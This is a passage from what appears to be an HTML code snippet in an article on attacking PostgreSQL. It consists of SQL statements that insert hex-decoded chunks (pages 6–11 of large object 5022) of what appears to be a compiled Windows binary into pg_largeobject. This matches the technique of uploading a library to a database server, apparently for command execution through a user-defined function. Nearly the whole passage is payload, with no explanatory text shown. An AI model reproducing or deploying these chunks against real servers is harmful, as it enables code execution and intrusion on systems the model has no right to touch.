a0000488bc3e976ffffffcccccc41b840000000e939ffffffcc48895c24084c894c242055565741544155415641574883ec304d8bf8488bf24c8be14d85c0741a4d85c974154885c97527e86a270000c70016000000e83f26000033c0488b5c24704883c430415f415e415d415c5f5e5dc3488b9c24900000004885db740e33d24883c8ff49f7f74c3bc8762b4883feff74124c8bc633d2e869f1ffff4c8b8c24880000004885db74a133d24883c8ff49f7f74c3bc877938b4314a9c004000074058b4b20eb05b900100000498bff898c2490000000490faff94d8bd44c89642420488bef4c8bee4885ff0f84400100008b4314baffffff7fa9c004000074764c6373104585f6746d0f884d010000493bee440f42f54d3bf50f871a010000488b134d85f674364d85d2741c498bca4885d2740a458bc6e8fae6ffffeb1a4d8bc533d2e8bef0ffffe86d260000c70016000000e8422500004c8b54242044297310492bee4c01&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;338b8c24900000004d2beee9a20000008bc1483be8726b483bea448bf5440f47f285c9740a33d2418bc6f7f1442bf2418bc6493bc50f8798000000488b4308488bcb83631000488903e80a370000488b5424208bc8458bc6e8ab49000085c00f84980000000f888b0000008b8c24900000004c8b5424204c63f0492bee4d2beeeb30488bcbe8d64d000083f8ff74734d85ed743f4c8b54242048ffcd49ffcd41be010000004188028b4b20898c24900000004d03d64c895424204885ed0f85c8feffff4c8b8c2488000000498bc1e924feffff4883feff740d4c8bc633d2498bcce8baefffffe869250000c70022000000e9fafdfffff0834b1410eb05f0834b1408482bfd33d2488bc749f7f7e9e5fdffffcccc4883ec384c894c24204d8bc84c8bc24883caffe8080000004883c438c3cccccc488bc44889580848897010488978184c89702041574883ec30498bf14d8bf8488bfa4c8bf14d85c0742f4d85c9742a488b5c24604885db753d4883faff740a4c8bc233d2e823efffffe8d2240000c70016000000e8a723000033c0488b5c2440488b742448488b7c24504c8b7424584883c430415fc3488bcbe84a3700009048895c24204c8bce4d8bc7488bd7498bcee8ebfcffff488bf8488bcbe834370000488bc7ebb6cccccc48895c2410488974241848894c2408574883ec20418bf8488bf2488bd94885c97523e851240000c70016000000e82623000083c8ff488b5c2438488b7424404883c4205fc383ff0277d8e8d136000090448bc7488bd6488bcbe8f20000008bf8488bcbe8c43600008bc7ebc948895c2408574883ec20488bfa488bd94183f8020f84bb0000008b4114a9c00400000f84ad0000008b4114a8060f85a2000000837910000f8e980000004c635118498bca4c8d0dbda4010083e13f498bc248c1f806488d14c94d8b0cc141807cd138007c7041807cd1390075684585c0753d33d2418bca448d4201e8984e0000488bc84885c0784d48634310488bd7482bc848c1ef3f482bd148c1e93f3bf9740b488bc248c1e83f3bf87529488bfa488b13488b4b08482bca483bcf7f1748634b10483bf97f0e488d0c3ab00148890b297b10eb0232c0488b5c24304883c4205fc3cccc48895c24084889742410574883ec208b4114418bf8488bf2488bd9c1e80da8017510e801230000c7001600000083c8ffeb75f0836114f7e8e0feffff84c0756583ff01750d488bcbe85f0500004803f033ff488bcbe80a390000488b4308836310004889038b4314c1e802a8017407f0836314fceb1b8b431483e0413c4175118b4314c1e808a8017507c74320000200008b4b18448bc7488bd6e8954d00004883f8ff748833c0488b5c2430488b7424384883c4205fc3cc4863d2e9f0fdffff48895c241848894c2408574883ec20488bd94885c9751ee84c220000c70016000000e82121000083c8ff488b5c24404883c4205fc3e8d634000090488bcbe82d000000488bf84889442438483dffffff7f7e0ee810220000c7001600000083cfff488bcbe8b33400008bc7ebbdcccccc48895c24084889742410574883ec20488bd94885c97519e8dc210000c70016000000e8b12000004883c8ffe9ef000000e8c7320000837b10004863f07d048363100033d28bce448d4201e8ad4c0000488bf84885c078d08b4314a8c0750f48634310482bf8488bc7e9b20000004c8b1b4c8d057da20100488bc6488bce83e03f48c1f9064c2b5b08488d14c0498b04c8408a74d0398b4314a80374454080fe017518498b04c8f644d03d02740d488bd7488bcbe8c4010000eb65498b04c8807cd038007d12488b13448ac6488b4b08e8240300004c03d84885ff751f498bc3eb3e8b4314c1e802a80175ece808210000c70016000000e92cffffff8b4314a80174104d8bc3488bd7488bcbe820000000eb0d4080fe01750349d1eb498d043b488b5c2430488b7424384883c4205fc3cc48895c24104c8944241855565741544155415641574883ec204c8bf2488bd9e8a83100004c63e0488d1596a1010033ff498bcc83e13f448bff498bc448c1f80648894424604c8d2cc9488b04c2428a74e8394080fe01410f94c749ffc7397b107508498bc6e9ca00000048636b10482b6b0848032b42387ce8387c08488bc5e99800000033d2418bcc448d4202e83a4b0000493bc6751e488b4b08448ac6488d1429e821020000488d14288b4314c1e805a801eb514533c0498bd6418bcce8094b00004883f8ff7505480bc0eb66ba00020000483bea7f148b4314c1e806a801740a8b4314c1e808a801740448635320488b4c2460488d05c8a00100488b0cc842f644e93804741140fece4080fe01400f96c748ffc74803d7488bc2489949f7ff488bc8488b442470489949f7ff482bc14903c6488b5c24684883c420415f415e415d415c5f5e5dc3cccccc48895c240848896c24184889742420574154415541564157b850100000e8d6de0000482be0488b05048d01004833c44889842440100000488bf2488bd9e83e30000033ff4c63f0397b107508488bc6e9f4000000488b034c8d2dcabcffff482b4308498bce489983e13f482bc2498bde48d1f84533c048c1fb06488be84c8d3cc9418bce498b94dd50e301004a8b54fa30e8ea490000498b8cdd50e301004c8be04a3b44f9300f85980000004a8b4cf9284c8d4c243041b80010000048897c2420488d542440ff156ced000085c074744533c0488bd6418bcee8a24900004885c078618b442430483be87f58488d5424404803d0488d4c24404885ed7438483bca733380390d7514488d42ff483bc8731a8079010a751448ffc1eb0f0fb6014a0fbe8428c0d10100&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">7</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;4803c848ffc748ffc1483bfd75c8488d442440482bc8498d040ceb044883c8ff488b8c24401000004833cce8a0d0ffff4c8d9c2450100000498b5b30498b6b40498b7348498be3415f415e415d415c5fc3cccccc41fec84c8bc94180f801773f4533c0488bca492bc9458bd048ffc148d1e94c3bca490f47c84885c9741c664183390a498d40014d8d4902490f45c049ffc24c8bc04c3bd175e44b8d0400c34533c0488bc2492bc14d8bd14c3bca490f47c04885c0741d41803a0a498d4801490f45c849ffc24c8bc1498bca492bc9483bc875e3498bc0c3e97ffbffffcccccce907fbffffcccccc405356574883ec30488bf14885c9751ae8571d0000c70016000000e82c1c000033c04883c4305f5e5bc34885d274e133ff66897c2450b020eb0348ffc28a1a3ad874f780fb77741f80fb72741ae81a1d0000c70016000000e8ef1b00008a4c24518a5c2450eb35885c245048ffc28a0a3ac874f784c9742080f974741b80f9627416e8e51c0000c70016000000e8ba1b00008a4c2451eb04884c24510fb7442450668944246040887c246284db0f846dffffffb88040000041b88000000080f974440f44c080f9627505410fbae80fba00040000488d4c2468e8fe4d000083f8ff0f8439ffffff807c246077400f95c78b4c246c488b4424680f44c8894c245085ff0f4444246c89442454b90a000000e8574d000090e8511c00008b184c8d4c2450448bc7488d542460488bcee84a000000488bf8e8321c000089184885ff7526488d742458488d5c245048895c2420483bde7412833bff74078b0be8ab2b00004883c304ebe4b90a000000e84f4d0000488bc7e9a9feffffcccccc488bc4488958084889701048897818554154415541564157488d68a14881ece0000000498bd9418bf8488bf24c8be9ff159fe900004c631b488d15ad9c010048834d7fff4c8d4d7f4d8bd3c74424300200000049c1fa064183e33fc7442428010000004c8bc08364242000488bc84a8b14d24f8d1cdb4a8b54da28ff153bea000085c075084533ffe9260200008b0be8fc2a00008b4b04488bd6830bffe84e500000488bf04885c074db33c9e81f040000488bd84885c075084533ffe9e5010000488365a7004c8d059ffb000033d2488d4da7e8b81c000085c0740e83f8160f84180200004533e4eb0c4c8b65a74d8bfc4d85e475074c8d3d5ffb000041be68000000488d4dc7458bc633d2e82be5ffff488b0dd49b010033d2448975c7c745030001000085ff750a488b457f48894517eb11488b412848894517488b457f83ff017404488b41704889451f4983c8ff488b81b800000048894527498bc048ffc04138140775f7498bc848ffc14238142975f74803c14c8d0de7fa0000498bc848ffc14138140975f74c8d7101ba010000004c03f0498bcee867450000488bf84885c00f84dc0000004d8bc7498bd6488bc8e8c513000085c00f85280100004c8d059efa0000498bd6488bcfe84346000085c00f850e0100004d8bc5498bd6488bcfe82d46000085c00f85f8000000498bcfe81d0100004885c00f84850000004533f60f57c0493bc7488bd70f1145af4c0f45f033c948894dbf4533ed488d4daf4533c948894c24484533c0488d4dc748894c2440488bc84c896c24384c896c243044896c2428c744242001000000e8b447000085c07505458bfdeb1e488b4db74c8bfe498bf5ff1547e80000488b45af488943084c893b498bdd498bcee81d150000eb034533ff488bcfe810150000498bcce8081500004885db74094883630800488323004885f67408488bcee801efffff488b4d7f4883f9ff7406ff15f1e700004c8d9c24e0000000498bc7498b5b30498b7338498b7b40498be3415f415e415d415c5dc34883642420004533c94533c033d233c9e8f4170000cc4883642420004533c94533c033d233c9e8de170000cccc48895c240848896c241848897424205741544155415641574883ec3033d2488be9e8f626000033ff85c07508488bc5e93601000041bc04010000ba01000000418bcce8a9430000488bd84885c00f840c0100004c8d050af9000048897c246833d2488d4c2468e8111a000085c0740e83f8160f841a0100004c8bf7eb054c8b74246841b803010000488bd3498bcee89d4500004c8bf84885c00f84b80000004983cdff498bcd48ffc140383c0b75f74803cb483bd97443488d71ff803e5c7515ba5c000000488bcbe8174d0000483bf00f95c0eb07803e2f7420b00184c0741a4c8d0579f80000498bd4488bcbe80e44000085c00f85ad000000498bc548ffc040383c0375f7498bcd48ffc140383c2975f74803c1493bc4733d4c8bc5498bd4488bcbe8d843000085c0757b33d2488bcbe8e625000085c0744d41b803010000488bd3498bcfe8e54400004c8bf84885c00f854cffffff498bcee82d130000488bcbe825130000488bc7488b5c2460488b6c2470488b7424784883c430415f415e415d415c5fc3488bc3488bdf488bf8ebc54533c948897c24204533c033d233c9e836160000cc4533c948897c24204533c033d233c9e821160000cc40534883ec204c8b0d6f960100448b0560960100498bc1418bd048c1e2044903d14c3bca740e48390874564883c010483bc275f24885c97546418d4001413bc0723d448d41108bd0498bc9e85c42000033c9488bd8e8761200004885db74208b0d0f9601008bc148891d0e96010048c1e0044803c3ffc1890df7950100eb0233c04883c4205bc3cc48895c24104889742418574883ec20488bd94885c97524e87c160000c70016000000e8511500004883c8ff488b5c2438488b7424404883c4205fc34883cfff8d4f0be851&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">8</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;47000090488bcbe828ffffff488bf04885c0750de83b160000c70009000000eb5f488bcbe8efebffff488b5e08488326004883660800e8191600008b30e812160000832000836424300041b801000000488bd3488d4c2430e893420000483bc77513e8ed1500008338047409e8e31500008930eb0be8da15000089308b7c2430b90a000000e81e4700008bc7e956ffffffcccccce94ff8ffffcccccc48895c240848896c24104889742418574883ec2033ed488bfa482bf9488bd94883c7078bf548c1ef03483bca480f47fd4885ff741a488b034885c07406ff15b9e500004883c30848ffc6483bf775e6488b5c2430488b6c2438488b7424404883c4205fc348895c2408574883ec20488bfa488bd9483bca741b488b034885c0740aff1575e5000085c0750b4883c308483bdfebe333c0488b5c24304883c4205fc3ccccccb863736de03bc8740333c0c38bc8e901000000cc48895c240848896c24104889742418574883ec20488bf28bf9e8e64f00004533c9488bd84885c00f843e010000488b08488bc14c8d81c0000000493bc8740d3938740c4883c010493bc075f3498bc14885c00f84130100004c8b40084d85c00f84060100004983f805750d4c894808418d40fce9f50000004983f801750883c8ffe9e7000000488b6b0848897308837804080f85ba0000004883c130488d9190000000eb084c8949084883c110483bca75f381388d0000c08b7b10747a81388e0000c0746b81388f0000c0745c8138900000c0744d8138910000c0743e8138920000c0742f8138930000c074208138b40200c074118138b50200c08bd77540ba8d000000eb36ba8e000000eb2fba85000000eb28ba8a000000eb21ba84000000eb1aba81000000eb13ba86000000eb0cba83000000eb05ba82000000895310b908000000498bc0ff15f7e30000897b10eb108b48044c894808498bc0ff15e2e3000048896b08e913ffffff33c0488b5c2430488b6c2438488b7424404883c4205fc3cccc48895c24084c894c2420574883ec20498bd9498bf88b0ae86044000090488bcfe813000000908b0be8a3440000488b5c24304883c4205fc340534883ec20488bd9803da8920100000f859f000000b801000000870587920100488b018b0885c97534488b05c78001008bc883e13f488b1573920100483bd074134833c248d3c84533c033d233c9ff1533e30000488d0d8c930100eb0c83f901750d488d0d96930100e82d0a000090488b038338007513488d1581e30000488d0d5ae30000e801fdffff488d157ee30000488d0d6fe30000e8eefcffff488b4308833800750ec6050a92010001488b4310c600014883c4205bc3e8f00b000090cccccc33c081f963736de00f94c0c348895c240844894424188954241055488bec4883ec508bd94585c0754a33c9ff1583e000004885c0743db94d5a000066390875334863483c4803c88139504500007524b80b02000066394118751983b9840000000e761083b9f80000000074078bcbe8a1000000488d4518c6452800488945e04c8d4dd4488d4520488945e84c8d45e0488d4528488945f0488d55d8b802000000488d4dd08945d48945d8e855feffff837d2000740b488b5c24604883c4505dc38bcbe801000000cc40534883ec208bd9e8db4d000083f801742865488b0425600000008b90bc000000c1ea08f6c2017511ff156ddf0000488bc88bd3ff156adf00008bcbe80b0000008bcbff154be00000cccccc40534883ec204883642438004c8d4424388bd9488d15c6f2000033c9ff152ee0000085c0741f488b4c2438488d15c6f20000ff15d8df00004885c074088bcbff156be10000488b4c24384885c97406ff15b3df00004883c4205bc3cc48890d75900100c333d233c9448d4201e987feffffcccccc4533c0418d5002e978feffff8b054a900100c3cc488bc4488958084889681048897018488978204154415641574883ec204c8b7c24604d8be1498bd84c8bf2488bf94983270049c701010000004885d2740748891a4983c6084032ed803f22750f4084ed40b622400f94c548ffc7eb3749ff074885db74078a07880348ffc30fbe3748ffc78bcee83062000085c0741249ff074885db74078a07880348ffc348ffc74084f6741c4084ed75b04080fe2074064080fe0975a44885db7409c643ff00eb0348ffcf4032f68a0784c00f84d40000003c2074043c09750748ffc78a07ebf184c00f84bd0000004d85f6740749891e4983c60849ff0424ba0100000033c0eb0548ffc7ffc08a0f80f95c74f480f922753084c275184084f6740a384f01750548ffc7eb0933d24084f6400f94c6d1e8eb10ffc84885db7406c6035c48ffc349ff0785c075ec8a0784c074464084f675083c20743d3c09743985d2742d4885db7407880348ffc38a070fbec8e84961000085c0741249ff0748ffc74885db74078a07880348ffc349ff0748ffc7e966ffffff4885db7406c6030048ffc349ff07e922ffffff4d85f674044983260049ff0424488b5c2440488b6c2448488b742450488b7c24584883c420415f415e415cc3cc40534883ec2048b8ffffffffffffff1f4c8bca483bc8733d33d24883c8ff49f7f04c3bc8732f48c1e1034d0fafc8488bc148f7d0493bc1761c4903c9ba01000000e8f239000033c9488bd8e8840a0000488bc3eb0233c04883c4205bc3cccccc48895c240855565741564157488bec4883ec3033ff448bf185c90f84530100008d41ff83f8017616e8970e00008d5f168918e86d0d00008bfbe935010000e8955c0000488d1df68d010041b804010000488bd333c9e836540000488b35e795010048891dc09501004885f6740540383e&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">9</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;7503488bf3488d454848897d404c8d4d4048894424204533c048897d4833d2488bcee849fdffff4c8b7d4041b801000000488b5548498bcfe8f3feffff488bd84885c07518e80a0e0000bb0c00000033c98918e8ac090000e96affffff4e8d04f8488bd3488d4548488bce4c8d4d404889442420e8f7fcffff4183fe0175168b4540ffc848891d3d95010089052f95010033c9eb69488d553848897d38488bcbe85f5200008bf085c07419488b4d38e850090000488bcb48897d38e8440900008bfeeb3f488b5538488bcf488bc248393a740c488d400848ffc148393875f4890ddb94010033c948897d38488915d6940100e80d090000488bcb48897d38e801090000488b5c24608bc74883c430415f415e5f5e5dc3cccc48895c2408574883ec2033ff48393dad8d0100740433c0eb48e8325b0000e825600000488bd84885c0750583cfffeb27488bcbe8340000004885c0750583cfffeb0e4889058f8d0100488905708d010033c9e895080000488bcbe88d0800008bc7488b5c24304883c4205fc348895c240848896c2410488974241857415641574883ec304c8bf133f68bce4d8bc6418a16eb2480fa3d488d4101480f44c1488bc84883c8ff48ffc04138340075f749ffc04c03c0418a1084d275d848ffc1ba08000000e888370000488bd84885c0746c4c8bf8418a0684c0745f4883cdff48ffc54138342e75f748ffc53c3d7435ba01000000488bcde855370000488bf84885c074254d8bc6488bd5488bc8e8b705000033c985c0754849893f4983c708e8c90700004c03f5ebab488bcbe84400000033c9e8b5070000eb03488bf333c9e8a9070000488b5c2450488bc6488b742460488b6c24584883c430415f415e5fc34533c948897424204533c033d2e8cb0a0000cccccc4885c9743b48895c2408574883ec20488b01488bd9488bf9eb0f488bc8e856070000488d7f08488b074885c075ec488bcbe842070000488b5c24304883c4205fc3cccccc48895c24084889742410574883ec40488b3dfa8b01004885ff0f859400000083c8ff488b5c2450488b7424584883c4405fc34883642438004183c9ff4883642430004c8bc0836424280033d248836424200033c9e8875d00004863f085c074bfba01000000488bcee82b360000488bd84885c0744f4883642438004183c9ff48836424300033d24c8b0733c9897424284889442420e8465d000085c0742633d2488bcbe8f462000033c9e8850600004883c708488b074885c00f8573ffffffe95effffff488bcbe868060000e94effffffcccccc4883ec28488b09483b0d3e8b01007405e8d3feffff4883c428c3cccc4883ec28488b09483b0d1a8b01007405e8b7feffff4883c428c3cccc4883ec28488b05f18a01004885c07526483905ed8a0100750433c0eb19e81afdffff85c07409e8c9feffff85c075ea488b05c68a01004883c428c3cc4883ec28488d0db58a0100e87cffffff488d0db18a0100e88cffffff488b0db58a0100e84cfeffff488b0da18a01004883c428e93cfeffffe9c3fcffffcccccc48895c24084c894c2420574883ec20498bd9498bf88b0ae8e03a000090488bcfe8170000008bf88b0be8223b00008bc7488b5c24304883c4205fc3cc48895c240848896c2410488974241857415641574883ec20488b01488bf1488b184885db750883c8ffe9cf0000004c8b053f770100418bc8498bf848333b83e13f488b5b0848d3cf4933d848d3cb488d47ff4883f8fd0f879f000000418bc84d8bf083e13f4c8bff488beb4883eb08483bdf7255488b03493bc674ef4933c04c893348d3c8ff1579d900004c8b05e2760100488b06418bc883e13f488b104c8b0a488b42084d33c84933c049d3c948d3c84d3bcf7505483bc574b04d8bf9498bf9488be8488bd8eba24883ffff740f488bcfe8990400004c8b0596760100488b06488b084c8901488b06488b084c894108488b06488b084c89411033c0488b5c2440488b6c2448488b7424504883c420415f415e5fc3cccc4c8bdc49894b084883ec38498d4308498943e84d8d4b18b8020000004d8d43e8498d532089442450498d4b1089442458e877feffff4883c438c3cccc4885c9750483c8ffc3488b41104839017512488b0507760100488901488941084889411033c0c3cc488d05f97d0100488905ba910100b001c3cccccc4883ec28488d0dc9880100e8b4ffffff488d0dd5880100e8a8ffffffb0014883c428c3ccb001c3cc4883ec28e8c3fdffffb0014883c428c340534883ec20488b1d9f750100488bcbe80b060000488bcbe853670000488bcbe82f680000488bcbe8d36a0000488bcbe8b3f6ffffb0014883c4205bc3cccccc33c9e92dd1ffffcc40534883ec20488b0df78e010083c8fff00fc10183f801751f488b0de48e0100488d1d05780100483bcb740ce82f03000048891dcc8e0100b0014883c4205bc34883ec28488b0df1900100e810030000488b0ded900100488325dd90010000e8fc020000488b0db98e0100488325d190010000e8e8020000488b0dad8e01004883259d8e010000e8d4020000488325988e010000b0014883c428c3cc488d15a9e90000488d0da2e80000e9bd650000cc4883ec28e8fb4100004885c00f95c04883c428c34883ec28e827400000b0014883c428c34883ec2884c9741648833db0870100007405e8c91d0000b0014883c428c3488d1553e90000488d0d4ce800004883c428e9e3650000cccccc4883ec28e8a7420000b0014883c428c34883ec28e813400000488b40184885c07408ff15c0d60000eb00e8610000009040534883ec2033db4885c9740c4885d274074d85c0751b8819e856060000bb16&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">10</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;0000008918e82a0500008bc34883c4205bc34c8bc94c2bc1438a040841880149ffc184c074064883ea0175ec4885d275d98819e81c060000bb22000000ebc4cc4883ec28e8376600004885c0740ab916000000e878660000f605e173010002742ab917000000ff15dcd3000085c07407b907000000cd2941b801000000ba15000040418d4802e895020000b903000000e8c7f4ffffcccccc48895c24084889742410574883ec20c6411800488bf9488d71084885d274050f1002eb10833d358f010000750d0f10059c7c0100f30f7f06eb4ee8053f0000488907488bd6488b889000000048890e488b888800000048894f10488bc8e8226a0000488b0f488d5710e84a6a0000488b0f8b81a8030000a802750d83c8028981a8030000c6471801488b5c2430488bc7488b7424384883c4205fc3cccccccccccccccccccccccccccccccccccccc66660f1f840000000000482bd14d85c0746af7c107000000741d0fb6013a040a755d48ffc149ffc8745284c0744e48f7c10700000075e349bb808080808080808049bafffefefefefefefe8d040a25ff0f00003df80f000077c0488b01483b040a75b74883c1084983e808760f4d8d0c0248f7d04923c14985c374cf33c0c3481bc04883c801c3cccccce9932f0000cccccc4d85c0751833c0c30fb7016685c07413663b02750e4883c1024883c2024983e80175e50fb7010fb70a2bc1c34885c97437534883ec204c8bc133d2488b0d868d0100ff1528d3000085c07517e82b040000488bd8ff156ed200008bc8e86303000089034883c4205bc3cccccc40534883ec20488bd94883f9e0773c4885c9b801000000480f44d8eb15e8fa69000085c07425488bcbe86263000085c07419488b0d238d01004c8bc333d2ff15c8d200004885c074d4eb0de8c0030000c7000c00000033c04883c4205bc3cccc48895c2408574883ec20488bda488bf94885c9750a488bcae883ffffffeb1f4885db7507e837ffffffeb114883fbe0762de87a030000c7000c00000033c0488b5c24304883c4205fc3e86e69000085c074df488bcbe8d662000085c074d3488b0d978c01004c8bcb4c8bc733d2ff15e9d000004885c074d1ebc4cccc48895c2410488974241855574156488dac2410fbffff4881ecf0050000488b05c47001004833c4488985e0040000418bf88bf28bd983f9ff7405e8c1bfffff33d2488d4c247041b898000000e82fcdffff33d2488d4d1041b8d0040000e81ecdffff488d4424704889442448488d4d10488d45104889442450ff1571d000004c8bb508010000488d542440498bce4533c0ff1561d000004885c07436488364243800488d4c2458488b5424404c8bc848894c24304d8bc6488d4c246048894c2428488d4d1048894c242033c9ff152ed00000488b850805000048898508010000488d85080500004883c00889742470488985a8000000488b850805000048894580897c2474ff154dd0000033c98bf8ff15fbcf0000488d4c2448ff15e8cf000085c0751085ff750c83fbff74078bcbe8ccbeffff488b8de00400004833cce86db4ffff4c8d9c24f0050000498b5b28498b7330498be3415e5f5dc3cc48890da5820100c348895c240848896c24104889742418574883ec30418bd9498bf8488bf2488be9e8af3c00004885c0743d488b80b80300004885c07431488b542460448bcb48895424204c8bc7488bd6488bcdff15c2d10000488b5c2440488b6c2448488b7424504883c4305fc34c8b15166f0100448bcb418bca4c8bc74c33152682010083e13f49d3ca488bd64d85d2740f488b4c2460498bc248894c2420ebae488b442460488bcd4889442420e823000000cccccc4883ec384883642420004533c94533c033d233c9e837ffffff4883c438c3cccc4883ec28b917000000ff15e5ce000085c07407b905000000cd2941b801000000ba170400c0418d4801e89efdffffff15b0ce0000488bc8ba170400c04883c42848ff25a5ce0000cc33c04c8d0d4be30000498bd1448d40083b0a742bffc04903d083f82d72f28d41ed83f8117706b80d000000c381c144ffffffb81600000083f90e410f46c0c3418b44c104c3cccccc48895c2408574883ec208bf9e8633b00004885c07509488d05536e0100eb044883c0248938e84a3b0000488d1d3b6e01004885c07404488d58208bcfe877ffffff8903488b5c24304883c4205fc3cccc4883ec28e81b3b00004885c07509488d050b6e0100eb044883c0244883c428c34883ec28e8fb3a00004885c07509488d05e76d0100eb044883c0204883c428c3488bc44889580848897010488978184c89702041574883ec30498bf8488bf24c8bf1b90b000000e8b43000009033db4d85f67513e8a7ffffffbb160000008918e87bfeffffeb6e49891e4885f6740348891e4885ff74dd488bcfe8950000004c8bf84885c0744e4883cfff48ffc7381c3875f8ba010000004803fa488bcfe8d9faffff4989064885c07510e850ffffffb90c00000089088bd9eb1a4d8bc7488bd7488bc8e8c3f8ffff85c0752f4885f6740348893eb90b000000e8753000008bc3488b5c2440488b742448488b7c24504c8b7424584883c430415fc348895c24204533c94533c033d233c9e8f0fdffff90cccccc48895c24084889742410574883ec20488bf1e85df4ffff488bf84885c074584885f674534883cbff48ffc3803c1e0075f7488b004885c0743e4883c9ff48ffc1803c080075f7483bcb7618803c183d75124c8bc3488bd6488bc8e8a164000085c074094883c708488b07ebc8488b0748ffc04803c3eb0233c0488b5c2430488b7424384883c4205fc3cccccc4883ec38836424280041b901&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">11</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;000000488364242000e866feffff4883c438c3cc48895c24084c894c2420574883ec20498bd9498bf88b0ae8242f000090488bcfe8c3040000408af88b0be8652f0000408ac7488b5c24304883c4205fc3cccccc488bc44889581048896818488970208948085741544155415641574883ec3033ff4d8be94d8bf84c8bf2448be14885d27531e8c9fdffffc70016000000e89efcffff4883c8ff488b5c2468488b6c2470488b7424784883c430415f415e415d415c5fc340383a74ca4d85ff74c5498b004885c074bd40383874b8ba5c000000498bcee849bd0000ba2f000000498bce488bd8e839bd00004883ceff498bee4885c00f858d0000004885db0f85910000008d563b498bcee815bd0000488bd84885c0757e488bde48ffc341383c1e75f74883c303ba01000000488bcbe834280000488be84885c0750f33c9e8c1f8ffff488bc6e94fffffff4c8d0506e10000488bd3488bcde883f6ffff85c00f85240100004d8bc6488bd3488bcde80529000085c00f850e01000033c9488d5d02e87ef8ffffeb0d4885db7405483bc37603488bd8b8000000004c3bf5488bfd488bcb480f44f88d502ee875bc000033db4885c0742b33d2488bcde8d40a000085c00f85b70000004d8bcd4d8bc7488bd5418bcce8c7000000488bf0e99e0000004c8bf649ffc641381c2e75f7ba01000000498d4e05e86d270000488bd84885c074744c8bc5498d5605488bc8e8cef5ffff85c07571e839fcffff488d2d3ee00000448b204c8bc5498d0c1eba05000000e8aaf5ffff85c0754d33d2488bcbe8500a000085c074124883c505488d0521e00000483be875cdeb1de8f5fbffff8b4c24604d8bcd4d8bc7488bd3448920e82c000000488bf0488bcbe885f7ffff488bcfe9b7feffff33ff4533c948897c24204533c033d233c9e8b7faffffcccccc488bc44889580848897018488978205541564157488d68a14881ec000100004533ff4d8bd1498bc0488bda448bf14885d27519e87cfbffffc70016000000e851faffff4883c8ffe9ea0100004885c074e24183fe04760ae838fbffff448938ebd24c8d4d974c897da74c8d45a74c897d97498bd2488bc8e8546500004883ceff3bc6751e488b4d97e8d7f6ffff488b4da74c897d97e8caf6ffff488bc6e9940100004183fe044c897d9f488d55af410f95c0488d4d9fe89d03000084c0750f488b4d9fe89cf6ffff4c897d9febb6e8c1faffffbf68000000488d4dd7448bc733d2448938e817c5ffff0fb745af8d4fa0488b55a74183fe0466894519488b459f410f45cf4889451f4533c9488d45b7897dd748894424484533c0488d45d74889442440488b45974c897c24384889442430894c2428488bcbc744242001000000e887280000488b5db7488b7dbf85c074554183fe020f84f80000004585f6757883caff488bcbff154cc90000488b4db7488d556fff1546c9000085c074284c63756f483bfe7409488bcfff15e8c80000483bde7409488bcbff15dac80000498bf6e919ffffffff1554c800008bc8e891f9ffff483bfe7409488bcfff15b7c80000483bde0f84f5feffff488bcbff15a5c80000e9e7feffff4183fe047524483bfe7409488bcfff158cc80000483bde7409488bcbff157ec80000498bf7e9bdfeffff483bfe7409488bcfff1568c80000488b4d9fe84bf5ffff488b4d974c897d9fe83ef5ffff488b4da74c897d97e831f5ffff488bc34c8d9c2400010000498b5b20498b7330498b7b38498be3415f415e5dc333c9e862e8ffffcccc48895c241048896c241848897424205741544155415641574883ec20488b014c8d252e7a010033f64c8be9488b10488932488b4108488b1048893248633d127e01004885ff74294c8d47ff498bc0498bd083e03f48c1ea06488d0cc0498b04d4403874c838740949ffc84883ef0175db4881ff711c00007212e8daf8ffffc7000c00000032c0e9510100000fb7c78d4f0466c1e003ba010000006603c80fb7c18bc84889442450e8c0230000488bd84885c07510e89ff8ffffc7000c000000e90e0100004c8d700489384983caff4d8d3c3e4d8bc7488bd64885ff7440488bc2488bca48c1e90683e03f4d8b0ccc488d04c0418a4cc138f6c110750b41880c16498b44c128eb0741883416498bc249890048ffc24983c008483bd775c0498b45104038300f858c000000bd030000004c8be6483bfd480f42ef4885ed74784883fd027257498d4eff498d47f84803cd488d04e84c3bf07705493bcf733e488bfd4883e7fe4983c4024c3be775f74c8bc733d